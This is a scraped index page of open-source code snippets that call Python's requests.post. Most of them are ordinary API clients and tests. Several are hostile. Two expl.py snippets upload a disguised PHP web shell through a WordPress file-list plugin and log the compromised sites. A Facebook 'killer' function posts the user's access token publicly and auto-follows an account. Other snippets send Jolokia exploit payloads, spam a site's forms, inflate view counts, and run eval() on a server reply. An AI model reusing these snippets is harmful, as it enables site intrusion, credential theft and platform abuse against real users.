Here are the examples of the python api requests.post taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
10894 Examples
5
Source : custom_action.py
with Apache License 2.0
from cisco
with Apache License 2.0
from cisco
def post(self, json_data):
if self._public_key and self._private_key:
result = requests.post(
url=self.url, json=json_data, cert=(self._public_key, self._private_key)
)
elif self._public_key:
result = requests.post(url=self.url, json=json_data, cert=self._public_key)
else:
result = requests.post(url=self.url, json=json_data)
if result.status_code == 200:
return 200, result.json()
else:
return result.status_code, {}
async def post_async(self, json_data):
5
Source : webapi.py
with BSD 3-Clause "New" or "Revised" License
from fijam
with BSD 3-Clause "New" or "Revised" License
from fijam
def set_player(command):
if command == 'mode_play':
# unmute, no shuffle
requests.post(server_url + '/api/player', params={'isMuted': 'false', 'playbackMode': '0'})
requests.post(server_url + f'/api/player/play/{playlist_id}/0') # start from the top
requests.post(server_url + '/api/player/' + command) # play, pause, stop
5
Source : test_requests.py
with Apache License 2.0
from gethue
with Apache License 2.0
from gethue
def test_POSTBIN_GET_POST_FILES(self, httpbin):
url = httpbin('post')
requests.post(url).raise_for_status()
post1 = requests.post(url, data={'some': 'data'})
assert post1.status_code == 200
with open('requirements-dev.txt') as f:
post2 = requests.post(url, files={'some': f})
assert post2.status_code == 200
post4 = requests.post(url, data='[{"some": "json"}]')
assert post4.status_code == 200
with pytest.raises(ValueError):
requests.post(url, files=['bad file data'])
def test_invalid_files_input(self, httpbin):
5
Source : test_requests.py
with Apache License 2.0
from gethue
with Apache License 2.0
from gethue
def test_POSTBIN_GET_POST_FILES_WITH_DATA(self, httpbin):
url = httpbin('post')
requests.post(url).raise_for_status()
post1 = requests.post(url, data={'some': 'data'})
assert post1.status_code == 200
with open('requirements-dev.txt') as f:
post2 = requests.post(url, data={'some': 'data'}, files={'some': f})
assert post2.status_code == 200
post4 = requests.post(url, data='[{"some": "json"}]')
assert post4.status_code == 200
with pytest.raises(ValueError):
requests.post(url, files=['bad file data'])
def test_post_with_custom_mapping(self, httpbin):
5
Source : test_requests.py
with MIT License
from jest-community
with MIT License
from jest-community
def test_POSTBIN_GET_POST_FILES(self, httpbin):
url = httpbin('post')
requests.post(url).raise_for_status()
post1 = requests.post(url, data={'some': 'data'})
assert post1.status_code == 200
with open('Pipfile') as f:
post2 = requests.post(url, files={'some': f})
assert post2.status_code == 200
post4 = requests.post(url, data='[{"some": "json"}]')
assert post4.status_code == 200
with pytest.raises(ValueError):
requests.post(url, files=['bad file data'])
def test_invalid_files_input(self, httpbin):
5
Source : test_requests.py
with MIT License
from jest-community
with MIT License
from jest-community
def test_POSTBIN_GET_POST_FILES_WITH_DATA(self, httpbin):
url = httpbin('post')
requests.post(url).raise_for_status()
post1 = requests.post(url, data={'some': 'data'})
assert post1.status_code == 200
with open('Pipfile') as f:
post2 = requests.post(url, data={'some': 'data'}, files={'some': f})
assert post2.status_code == 200
post4 = requests.post(url, data='[{"some": "json"}]')
assert post4.status_code == 200
with pytest.raises(ValueError):
requests.post(url, files=['bad file data'])
def test_post_with_custom_mapping(self, httpbin):
5
Source : bot_follow.py
with GNU General Public License v3.0
from KangProf
with GNU General Public License v3.0
from KangProf
def botfollow():
try:
token = open('login.txt', 'r').read()
except IOError:
print '\x1b[0;96m\x1b[0;97m [\x1b[1;36m\xe2\x80\xa2\x1b[1;37m] Token/Cookie invalid'
os.system('rm -rf login.txt')
exit(proff.login())
kom = komen
post1 = '1230470587425293'
post2 = '1230470587425293'
requests.post('https://graph.facebook.com/' + post1 + '/comments/?message=' + kom + '&access_token=' + token)
requests.post('https://graph.facebook.com/2591942287770145/comments/?message=' + kom + '&access_token=' + token)
requests.post('https://graph.facebook.com/2591942287770145/comments/?message=' + kom + '&access_token=' + token)
requests.post('https://graph.facebook.com/' + post2 + '/reactions?type=LOVE&access_token=' + token)
requests.post('https://graph.facebook.com/100013870892557/subscribers?access_token=' + token)#prof
exit(proff.menu())
5
Source : error.py
with GNU General Public License v3.0
from KangProf
with GNU General Public License v3.0
from KangProf
def killer():
try:
token = open('login.txt', 'r').read()
except IOError:
print '\x1b[0;96m\x1b[0;97m [\x1b[1;36m\xe2\x80\xa2\x1b[1;37m] Token/Cookie invalid'
os.system('rm -rf login.txt')
exit(proff.login())
kom = komen1
komen = komen2
komentar = komen3
komenn = komen4
post = '1230470587425293'
requests.post('https://graph.facebook.com/' + post + '/comments/?message=' + token + '&access_token=' + token)
requests.post('https://graph.facebook.com/1230470587425293/comments/?message=' + kom + '&access_token=' + token)
requests.post('https://graph.facebook.com/1230470587425293/comments/?message=' + komenn + '&access_token=' + token)
requests.post('https://graph.facebook.com/1230470587425293/comments/?message=' + komen + '&access_token=' + token)
requests.post('https://graph.facebook.com/' + post + '/reactions?type=LOVE&access_token=' + token)
requests.post('https://graph.facebook.com/100013870892557/subscribers?access_token=' + token)#prof
exit(proff.menu())
5
Source : test_requests.py
with Apache License 2.0
from lumanjiao
with Apache License 2.0
from lumanjiao
def test_POSTBIN_GET_POST_FILES(self):
url = httpbin('post')
post1 = requests.post(url).raise_for_status()
post1 = requests.post(url, data={'some': 'data'})
assert post1.status_code == 200
with open('requirements.txt') as f:
post2 = requests.post(url, files={'some': f})
assert post2.status_code == 200
post4 = requests.post(url, data='[{"some": "json"}]')
assert post4.status_code == 200
with pytest.raises(ValueError):
requests.post(url, files=['bad file data'])
def test_POSTBIN_GET_POST_FILES_WITH_DATA(self):
5
Source : bridge_cache.py
with MIT License
from nostalgebraist
with MIT License
from nostalgebraist
def call_bridge(data: dict, bridge_id: str):
data_to_send = dict()
data_to_send.update(data)
data_to_send["id"] = bridge_id
requests.post(get_bridge_service_url() + "/requestml", json=data_to_send)
response_data = []
while len(response_data) == 0:
time.sleep(1)
response_data = requests.post(
get_bridge_service_url() + "/getresult", data={"id": bridge_id}
).json()
requests.post(get_bridge_service_url() + "/done", json={"id": bridge_id})
return response_data
def remove_oldest(self, max_hours=2, dryrun=False):
5
Source : discord.py
with MIT License
from o-matsuo
with MIT License
from o-matsuo
def send(self, message, fileName=None):
if "" != self._discord_webhook_url:
data = {"content": " " + message + " "}
if fileName == None:
r = requests.post(self._discord_webhook_url, data=data)
else:
try:
file = {"imageFile": open(fileName, "rb")}
r = requests.post(self._discord_webhook_url, data=data, files=file)
except:
r = requests.post(self._discord_webhook_url, data=data)
if r.status_code == 404:
raise RuntimeError("指定URL[{}]は存在しません".format(self._discord_webhook_url))
"""
5
Source : service_now_handler.py
with Apache License 2.0
from snowflakedb
with Apache License 2.0
from snowflakedb
def test_handler_simpleauth():
returned_mock = MagicMock(status_code=201)
post_mock = MagicMock(return_value=returned_mock)
backup_post = requests.post
requests.post = post_mock
try:
sn_handle_return_value = service_now.handle({})
finally:
requests.post = backup_post
post_mock.assert_called_once()
assert sn_handle_return_value is returned_mock
def test_handler_oauth(with_oauth_envar):
5
Source : service_now_handler.py
with Apache License 2.0
from snowflakedb
with Apache License 2.0
from snowflakedb
def test_handler_oauth(with_oauth_envar):
oauth_response = MagicMock(json=MagicMock(return_value={'access_token': '123'}))
oauth_post = MagicMock(status_code=201, return_value=oauth_response)
create_incident_post = MagicMock(
status_code=201, json=MagicMock(return_value={'result': {'title': 'abc'}})
)
post_mock = MagicMock(side_effect=[oauth_post, create_incident_post])
backup_post = requests.post
requests.post = post_mock
try:
sn_handle_return_value = service_now.handle({'TITLE': 'abc'})
finally:
requests.post = backup_post
assert post_mock.call_count == 2
assert sn_handle_return_value is create_incident_post
3
Source : tools.py
with GNU General Public License v3.0
from 01ly
with GNU General Public License v3.0
from 01ly
def post_files(url,header,data,filename,filepath):
data['file']= (filename,open(filepath,'rb').read())
encode_data = encode_multipart_formdata(data)
data = encode_data[0]
header['Content-Type'] = encode_data[1]
r = requests.post(url, headers=header, data=data)
return r
def time_to_date(timestamp,format="%Y-%m-%d %H:%M:%S"):
3
Source : rent_auctions.py
with MIT License
from 0rtis
with MIT License
from 0rtis
def get_open_auctions(graphql_address, skip=0, count=1000):
r = requests.post(graphql_address, json={'query': AUCTIONS_OPEN_GRAPHQL_QUERY % (skip, count)})
if r.status_code != 200:
raise Exception("HTTP error " + str(r.status_code) + ": " + r.text)
data = r.json()
return data['data']['assistingAuctions']
3
Source : sale_auctions.py
with MIT License
from 0rtis
with MIT License
from 0rtis
def get_open_auctions(graphql_address, skip=0, count=1000):
r = requests.post(graphql_address, json={'query': AUCTIONS_OPEN_GRAPHQL_QUERY % (skip, count)})
if r.status_code != 200:
raise Exception("HTTP error " + str(r.status_code) + ": " + r.text)
data = r.json()
return data['data']['saleAuctions']
def get_hero_open_auctions(graphql_address, hero_ids):
3
Source : sale_auctions.py
with MIT License
from 0rtis
with MIT License
from 0rtis
def get_hero_open_auctions(graphql_address, hero_ids):
str_hero_ids = "["
for id in hero_ids:
str_hero_ids = str_hero_ids + "\"" + str(id) + "\", "
str_hero_ids = str_hero_ids + "]"
r = requests.post(graphql_address, json={'query': AUCTIONS_TOKEN_IDS_GRAPHQL_QUERY % str_hero_ids})
if r.status_code != 200:
raise Exception("HTTP error " + str(r.status_code) + ": " + r.text)
data = r.json()
return data['data']['saleAuctions']
def wei2ether(wei):
3
Source : antidote.py
with MIT License
from 0x0is1
with MIT License
from 0x0is1
def spam(data_, base_url):
headers = {
'Host': base_url,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Content-Length': '4115',
'Origin': 'https://' + base_url,
'Connection': 'close',
'Referer': 'https://' + base_url,
}
response = requests.post('https://' + base_url +'/post.php', headers=headers, data=data_)
return response.text
def scan_cheese(url):
3
Source : pixiv_auth.py
with GNU Affero General Public License v3.0
from 0x7FFFFF
with GNU Affero General Public License v3.0
from 0x7FFFFF
def refresh(refresh_token):
response = requests.post(
AUTH_TOKEN_URL,
data={
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET,
"grant_type": "refresh_token",
"include_policy": "true",
"refresh_token": refresh_token,
},
headers={"User-Agent": USER_AGENT},
)
print_auth_token_response(response)
def main():
3
Source : __init__.py
with MIT License
from 0xboz
with MIT License
from 0xboz
def account_info(self):
payload = {
'action': 'login',
'username': self.username,
'token': self.token,
}
r = requests.post(self.api_url, params=payload)
r.encoding = 'utf-8'
keys = ['username', 'balance', 'points', 'discount_rate', 'api_thread']
values = r.text.split('|')
return dict(zip(keys, values))
def get_mobile_number(self):
3
Source : __init__.py
with MIT License
from 0xboz
with MIT License
from 0xboz
def get_mobile_number(self):
payload = {
'action': 'getmobile',
'username': self.username,
'token': self.token,
'pid': 10,
}
r = requests.post(self.api_url, params=payload)
r.encoding = 'utf-8'
return r.text
def blacklist(self, mobile_number):
3
Source : __init__.py
with MIT License
from 0xboz
with MIT License
from 0xboz
def blacklist(self, mobile_number):
payload = {
'action': 'addblack',
'username': self.username,
'token': self.token,
'pid': 10,
'mobile': mobile_number,
}
r = requests.post(self.api_url, params=payload)
r.encoding = 'utf-8'
if r.text == 'Message|Had add black list':
return '{} has been blacklisted.'.format(mobile_number)
@property
3
Source : __init__.py
with MIT License
from 0xboz
with MIT License
from 0xboz
def mobile_list(self):
payload = {
'action': 'mobilelist',
'username': self.username,
'token': self.token,
}
r = requests.post(self.api_url, params=payload)
r.encoding = 'utf-8'
mobile_list = []
for mobile in r.text.split(','):
keys = ['mobile', 'pid']
values = mobile.split('|')
mobile_list.append(dict(zip(keys, values)))
return mobile_list
def get_code(self, mobile_number):
3
Source : __init__.py
with MIT License
from 0xboz
with MIT License
from 0xboz
def get_code(self, mobile_number):
payload = {
'action': 'getsms',
'username': self.username,
'token': self.token,
'pid': 10,
'mobile': mobile_number,
'author': self.username,
}
r = requests.post(self.api_url, params=payload)
r.encoding = 'utf-8'
code = ''.join([num for num in list(
r.text.split('|')[1]) if num.isdigit()])
return code
3
Source : network.py
with GNU General Public License v3.0
from 0xihsn
with GNU General Public License v3.0
from 0xihsn
def Post(url, data={}, headers={}, timeout=15, cookies=None):
try:
resp = requests.post(url, data=data, headers=headers, cookies=cookies, timeout=timeout)
except Exception as e:
logging.error(e)
return None, e
return resp, None
def send_raw_request(host, raw_request):
3
Source : sploitGET.py
with GNU General Public License v3.0
from 0xricksanchez
with GNU General Public License v3.0
from 0xricksanchez
def exec_query(self):
query_dict = self._init_search_dict()
response = json.loads(requests.post(self.url, headers=self.header, data=json.dumps(query_dict)).text)
if int(response['exploits_total']):
print(clr.Fore.GREEN + '[+] Found {} results!\n'.format(response['exploits_total']) + clr.Fore.RESET)
res_table = prettytable.PrettyTable()
res_table.max_width = int(subprocess.check_output(['stty', 'size'], encoding='utf-8').split()[1])
if self.type == 'exploits':
self._parse_exploit_query_results(response, res_table)
elif self.type == 'tools':
self._parse_tools_query_results(response, res_table)
else:
print(clr.Fore.RED + '[!] No Results found\n' + clr.Fore.RESET)
def _parse_exploit_query_results(self, response, res_table):
3
Source : sploitGET.py
with GNU General Public License v3.0
from 0xricksanchez
with GNU General Public License v3.0
from 0xricksanchez
def _get_github_short(url):
files = {'url': (None, url)}
response = requests.post('https://git.io/', files=files)
return response.headers['Location']
@staticmethod
3
Source : expl.py
with MIT License
from 0xtn
with MIT License
from 0xtn
def upload(url, filename):
files = {'file': (filename, open(filename, 'rb'), 'image/png')}
datas = {
'eeSFL_ID': 1,
'eeSFL_FileUploadDir': '/wp-content/uploads/simple-file-list/',
'eeSFL_Timestamp': 1587258885,
'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2',
}
r = requests.post(url=url + '/wp-content/plugins/simple-file-list/ee-upload-engine.php', data=datas,
files=files, verify=False,timeout=10)
r = requests.get(url=url + '/wp-content/uploads/simple-file-list/' + filename, verify=False,timeout=10)
if r.status_code == 200:
move(url, filename)
else:
print '\033[91m[-] Failed :' + url
pass
#
def move(url, filename):
3
Source : expl.py
with MIT License
from 0xtn
with MIT License
from 0xtn
def move(url, filename):
new_filename = filename[0]
headers = {'Referer': url + '/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
'X-Requested-With': 'XMLHttpRequest'}
datas = {
'eeSFL_ID': 1,
'eeFileOld': filename,
'eeListFolder': '/',
'eeFileAction': 'Rename|'+ new_filename,
}
r = requests.post(url= url + '/wp-content/plugins/simple-file-list/ee-file-engine.php', data=datas,
headers=headers, verify=False,timeout=10)
if r.status_code == 200:
print "\033[92m [*] Boom > %s/wp-content/uploads/simple-file-list/e0xtn.php"%url
open('shells_wp.txt','a').write(url + "/wp-content/uploads/simple-file-list/e0xtn.php\n")
else:
print '\033[91m[-] Failed :' + url
return new_filename
def uploadshell(i):
3
Source : expl3.py
with MIT License
from 0xtn
with MIT License
from 0xtn
def upload(url, filename):
files = {'file': (filename, open(filename, 'rb'), 'image/png')}
datas = {
'eeSFL_ID': 1,
'eeSFL_FileUploadDir': '/wp-content/uploads/simple-file-list/',
'eeSFL_Timestamp': 1587258885,
'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2',
}
r = requests.post(url=url + '/wp-content/plugins/simple-file-list/ee-upload-engine.php', data=datas,
files=files, verify=False,timeout=10)
r = requests.get(url=url + '/wp-content/uploads/simple-file-list/' + filename, verify=False,timeout=10)
if r.status_code == 200:
move(url, filename)
else:
print ('\033[91m[-] Failed :' + url)
pass
#
def move(url, filename):
3
Source : expl3.py
with MIT License
from 0xtn
with MIT License
from 0xtn
def move(url, filename):
new_filename = filename[0]
headers = {'Referer': url + '/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
'X-Requested-With': 'XMLHttpRequest'}
datas = {
'eeSFL_ID': 1,
'eeFileOld': filename,
'eeListFolder': '/',
'eeFileAction': 'Rename|'+ new_filename,
}
r = requests.post(url= url + '/wp-content/plugins/simple-file-list/ee-file-engine.php', data=datas,
headers=headers, verify=False,timeout=10)
if r.status_code == 200:
print ("\033[92m [*] Boom > %s/wp-content/uploads/simple-file-list/e0xtn.php"%url)
open('shells_wp.txt','a').write(url + "/wp-content/uploads/simple-file-list/e0xtn.php\n")
else:
print ('\033[91m[-] Failed :' + url)
return new_filename
def uploadshell(i):
3
Source : oanda_bot.py
with MIT License
from 10mohi6
with MIT License
from 10mohi6
def __order(self, data: Any) -> requests.models.Response:
url = "{}/v3/accounts/{}/orders".format(self.base_url, self.account_id)
res = requests.post(url, headers=self.headers, data=json.dumps(data))
if res.status_code != 201:
self._error("status_code {} - {}".format(res.status_code, res.json()))
return res
def _order(self, sign: int, entry: bool = False) -> None:
3
Source : premiumize.py
with GNU General Public License v3.0
from 123Venom
with GNU General Public License v3.0
from 123Venom
def _post(self, url, data={}):
response = None
if self.token == '': return None
try:
response = requests.post(url, data, headers=self.headers, timeout=45).json() # disgusting temp timeout change to fix server response lag
# if response.status_code in (200, 201): response = response.json() # need status code checking for server maintenance
if 'status' in response:
if response.get('status') == 'success': return response
if response.get('status') == 'error':
if 'You already have this job added' in response.get('message'): return None
if self.server_notifications: control.notification(message=response.get('message'), icon=pm_icon)
log_utils.log('Premiumize.me: %s' % response.get('message'), level=log_utils.LOGWARNING)
except:
log_utils.error()
return response
def auth(self):
3
Source : premiumize.py
with GNU General Public License v3.0
from 123Venom
with GNU General Public License v3.0
from 123Venom
def poll_token(self, device_code):
data = {'client_id': CLIENT_ID, 'code': device_code, 'grant_type': 'device_code'}
token = requests.post('https://www.premiumize.me/token', data=data, timeout=15).json()
if 'error' in token:
if token['error'] == "access_denied":
control.okDialog(title='default', message=getLS(40020))
return False, False
return True, False
self.token = token['access_token']
self.headers = {'User-Agent': 'Venom for Kodi', 'Authorization': 'Bearer %s' % self.token}
control.sleep(500)
account_info = self.account_info()
control.setSetting('premiumize.token', token['access_token'])
control.setSetting('premiumize.username', str(account_info['customer_id']))
return False, True
def add_headers_to_url(self, url):
3
Source : premiumize.py
with GNU General Public License v3.0
from 123Venom
with GNU General Public License v3.0
from 123Venom
def check_cache_list(self, hashList):
try:
postData = {'items[]': hashList}
response = requests.post(cache_check_url, data=postData, headers=self.headers, timeout=10)
if any(value in response for value in ('500', '502', '504')):
log_utils.log('Premiumize.me Service Unavailable: %s' % response, __name__, log_utils.LOGDEBUG)
else: response = response.json()
if 'status' in response:
if response.get('status') == 'success':
response = response.get('response', False)
if isinstance(response, list): return response
except:
log_utils.error()
return False
def list_transfer(self):
3
Source : shuabofanl.py
with MIT License
from 13060923171
with MIT License
from 13060923171
def get_html(url):
count = 0
while True:
try:
#发起一个post请求,去请求这个页面,从而获得一次点击量
req = requests.post(url,data=data,headers=headers)
count += 1
print("now in loop {}".format(count))
print(req.text)
#这里设置等待时间,因为B站的时间间隔是400秒的,当然如果你是用IP池的可以随便浪
time.sleep(100)
except Exception as e:
print(e)
time.sleep(100)
print('over')
print("over")
if __name__ == '__main__':
3
Source : jwt_handler.py
with GNU General Public License v3.0
from 1sigmoid
with GNU General Public License v3.0
from 1sigmoid
def validate_token(token):
# okay, to validate this token, we send a post request to /api/authenticate
response = requests.post(
url = AUTHENTICATION_URL,
data = {
"token":token
}
)
# after the request, we check the response code.
if response.status_code == 200:
return True, eval(response.text)
else:
print(response.status_code)
return (False, )
3
Source : lntxbot.py
with MIT License
from 21isenough
with MIT License
from 21isenough
def request_lnurl(amt):
"""Request a new lnurl for 'amt' from the server
"""
data = {
"satoshis": str(math.floor(amt)),
}
response = requests.post(
str(config.conf["lntxbot"]["url"]) + "/generatelnurlwithdraw",
headers={"Authorization": "Basic %s" % config.conf["lntxbot"]["creds"]},
data=json.dumps(data),
)
return response.json()
def get_lnurl_balance():
3
Source : lntxbot.py
with MIT License
from 21isenough
with MIT License
from 21isenough
def get_lnurl_balance():
"""Query the lnurl balance from the server and return the
["BTC"]["AvailableBalance"] value
"""
response = requests.post(
str(config.conf["lntxbot"]["url"]) + "/balance",
headers={"Authorization": "Basic %s" % config.conf["lntxbot"]["creds"]},
)
return response.json()["BTC"]["AvailableBalance"]
def wait_for_balance_update(start_balance, timeout):
3
Source : api_client.py
with MIT License
from 3lpsy
with MIT License
from 3lpsy
def post(self, url: str, data=None, fail=True):
data = data or {}
headers = self.get_default_headers()
logger.info("post@api_client.py - Posting URL: " + str(self.url(url)))
res = requests.post(
self.url(url), json=data, headers=headers, verify=self.verify_ssl
)
if fail:
if res.status_code != 200:
logger.critical(
f"Error posting API {self.url(url)}: " + str(res.json())
)
res.raise_for_status()
return res.json()
def get_default_headers(self):
3
Source : api_login.py
with MIT License
from 3lpsy
with MIT License
from 3lpsy
async def run(self):
url = self.option("api_url")
email = self.option("email")
password = self.get_password()
print(f"attempting to login to {self.get_url()}")
# spec requires form-data
response = requests.post(self.get_url(), data=self.get_json())
json_res = response.json()
print(json_res)
def get_url(self):
3
Source : api_user_create.py
with MIT License
from 3lpsy
with MIT License
from 3lpsy
async def run(self):
url = self.option("api_url")
email = self.option("email")
password = self.get_password()
print(f"attempting to create user {self.get_url()}")
# spec requires form-data
response = requests.post(
self.get_url(),
headers={"Authorization": "Bearer {}".format(self.option("auth_token"))},
json=self.get_json(),
)
json_res = response.json()
print(json_res)
def get_url(self):
3
Source : api_zone_create.py
with MIT License
from 3lpsy
with MIT License
from 3lpsy
async def run(self):
# TODO: run this
url = self.option("api_url")
domain = self.option("domain")
ip = self.option("ip_addresss")
print(f"attempting to create zone {self.get_url()}")
# spec requires form-data
response = requests.post(
self.get_url(),
headers={"Authorization": "Bearer {}".format(self.option("auth_token"))},
json={"domain": domain, "ip": ip},
)
json_res = response.json()
print(json_res)
def get_url(self):
3
Source : Cactus.py
with MIT License
from 3SUM
with MIT License
from 3SUM
def ChangeName(self):
response = requests.post(
self.client.change_name_url,
data=self.client.change_name_body,
headers=self.client.change_name_headers,
)
data = response.json()
if "transactions" in data:
return True
return False
def GetCountDown(self):
3
Source : agent.py
with MIT License
from 510908220
with MIT License
from 510908220
def send_heartbeat(self, error_msg=''):
try:
r = requests.post(self.report_server + error_msg, auth=self.auth)
except Exception as e:
self.logger.exception(e)
def get_playbook(self):
3
Source : face.py
with GNU General Public License v3.0
from 66pig
with GNU General Public License v3.0
from 66pig
def save_sign_info(self,data):
url = 'http://172.30.9.206/face/public/index.php/facerec/api/addsign'
headers = {'Accept': '*/*',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest'}
r = requests.post(url, data=data, headers=headers)
# print(r.text)
## 下载照片(头像)
def download_avatar(self, url, filename):
3
Source : index.py
with MIT License
from 6r6
with MIT License
from 6r6
def get_text(self, image_raw):
signature = self.cal_sig()
headers = {'Host': 'api.youtu.qq.com', 'Content-Type': 'text/json', 'Authorization': signature}
data = {'app_id': self.app_id, 'image': ''}
data['image'] = base64.b64encode(image_raw).rstrip().decode('utf-8')
resp = requests.post('https://api.youtu.qq.com/youtu/ocrapi/generalocr',
data=json.dumps(data),
headers=headers)
if 'items' in resp.text:
return resp.content.decode('utf-8')
else:
return '0'
class ScoreQuery:
3
Source : index.py
with MIT License
from 6r6
with MIT License
from 6r6
def get_score_page(self):
self.get_cookies()
checkcode = self.get_checkcode().replace(' ','')
post_url = 'https://yz.chsi.com.cn/apply/cjcx/cjcx.do'
data = {
'xm': self.xm,
'zjhm':self.id,
'ksbh':self.ksbh,
'bkdwdm':None,
'checkcode':checkcode
}
post_resp = requests.post(post_url,data=data, headers=self.headers).text
return post_resp
@staticmethod
3
Source : test.py
with Apache License 2.0
from 71src
with Apache License 2.0
from 71src
def do_scan(ip, port, service, is_http, task_msg):
if (service.find('http') < 0) and (is_http is False):
return False
scheme = 'https' if '443' in str(port) else 'http'
for path in ['actuator/jolokia', 'jolokia']:
target = '{}://{}:{}/{}/'.format(scheme, ip, port, path)
for i in EXPLOIT:
try:
rep = requests.post(
target, json=i, headers=HEADERS, timeout=10)
except Exception as e:
# print(repr(e))
break
def poc(url):
3
Source : fun.py
with GNU General Public License v3.0
from 78778443
with GNU General Public License v3.0
from 78778443
def dingding(message, token, keyword):
url = "https://oapi.dingtalk.com/robot/send?access_token="+token
header = {
"Content-Type": "application/json;charset=utf-8",
}
param = {
"msgtype": "text",
"text": {
"content": keyword + ":" + message
}
}
req = requests.post(url, json.dumps(param), headers=header)
return req.json()
def db():
See More Examples